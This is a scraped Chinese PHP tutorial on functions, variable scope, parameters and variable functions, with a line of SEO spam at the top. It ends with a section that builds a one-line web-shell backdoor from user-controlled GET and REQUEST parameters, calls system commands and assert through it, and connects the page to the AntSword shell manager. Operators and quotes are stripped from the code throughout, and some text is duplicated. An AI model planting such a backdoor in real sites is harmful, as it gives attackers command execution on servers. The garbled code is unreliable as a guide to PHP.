做旅游网站的目的,代客做网站,如何做网站编辑 ?]技术,上饶网站制作需要多少钱函数
基本结构
语法结构
function 函数名(形式参数1,形式参数2...){//函数体return 返回值
}定义并执行一个简单函数
// funtion.phpfunction test(){echo This is function .__FUNCTION__;
}test();函数传参
// function.phpfunction add($x, $y){$sum $x …函数
基本结构
语法结构
function 函数名(形式参数1,形式参数2...){//函数体return 返回值
}定义并执行一个简单函数
// funtion.phpfunction test(){echo This is function .__FUNCTION__;
}test();函数传参
// function.phpfunction add($x, $y){$sum $x $y;return $sum;
}echo add(10, 3);函数调用
函数的调用函数名加上小括号
调用过程
function a(){echo This is func .__FUNCTION__.br /;
}function b(){echo __FUNCTION__. is starting...br /;a();echo __FUNCTION__. is stopped!br /;
}b();注意
函数的调用直接函数名字后面加上() 即可() 可以看作是运算符调用函数之后执行的过程是相对独立的互不干扰默认没有联系函数执行完毕返回调用的位置继续向下执行。
变量
范围
局部变量全局变量超全局变量 函数内部无法直接获取函数外部的变量 函数外部无法直接获取函数内部的变量 局部变量
在函数内部定义的变量默认情况下函数外部不能直接访问函数内部定义的变量。
// function.phpfunction get_name(){$username GJL;echo My name is {$username};
}
get_name();echo $username; // Notice: Undefined variable: username全局变量
全局变量是在脚本中函数或类的外部定义的变量。
// function.php$username GJL;function get_name(){echo My name is {$username};
}get_name(); // Notice: Undefined variable: username注意 PHP 语言中函数内部是没有办法直接调用函数外部的变量这一点与 JavaScript 和 Python 不同。 解决方式 函数传参 $username GJL;function get_name($username){echo My name is {$username};
}get_name($username);global 声明全局变量 // function.php$username GJL;function get_name(){global $username;echo My name is {$username};
}get_name();参数传递
按值传参
默认传参方式。
function add($x, $y){$sum $x $y;return $sum;
}echo add(10, 3);对形参的操作不会改变实参的值。
默认参数
可以给形式参数设置默认值直接赋值即可
给函数默认值的时候全都给
function add($x 0, $y 0){$sum $x $y;return $sum;
}// echo add(); // 0
// echo add(10, 3); // 13
echo add(10); // 10可变函数
概述
可变函数也叫变量函数动态函数函数名可以动态设置和调用变量()。这是PHP 特性之一这种特性通常会被攻击者所利用。
直接把函数名赋值给变量通过修改变量的值可以实现动态调用。PHP 支持可变函数的概念。这意味着如果一个变量名后有圆括号PHP 将寻找与变量的值同名的函数并且尝试执行它。
?phpfunction a(){echo This is function a;
}
function b(){echo This is function b;
}
$func_name a;
$func_name(); // 相当于 a();
// 可以直接使用变量的值充当函数名
// 执行结果输出 This is function a?危险操作
?phpfunction a(){echo This is function a;
}function b(){echo This is function b;
}// a();
// b();$func_name ($_GET[func_name]);
$func_name(); // a();// b();// phpinfo();?直接访问显示错误此时的 func_name 为空 传参赋予其参数
修改 GET 中传入的参数 将参数名改为 phpinfo 则调用 phponfo() 函数显示 phpinfo 简单的后门
命令执行 php 中 system() 函数可以直接执行系统命令 如 system(ipconfig);在 php 中写入最简单的后门函数 ?php$_GET[a]($_GET[b]);?访问此 php 页面 修改传参成功执行命令
蚁剑连接 eval 为一种语言结构而非函数不能动态调用 可以将 assert 当作 a 的参数b 的参数为一句话木马连接蚁剑 蚁剑为 POST 传参需要将传参方式设置为 $_POST 或 $_REQUEST pre
?php$_GET[a]($_REQUEST[b]);?蚁剑连接 输入传参后的 url 注意 assert 一次只能传递一个参数传递多个参数时需要对传参进行编码 连接密码为 $_REQUEST[b] 中的 b 获取 shell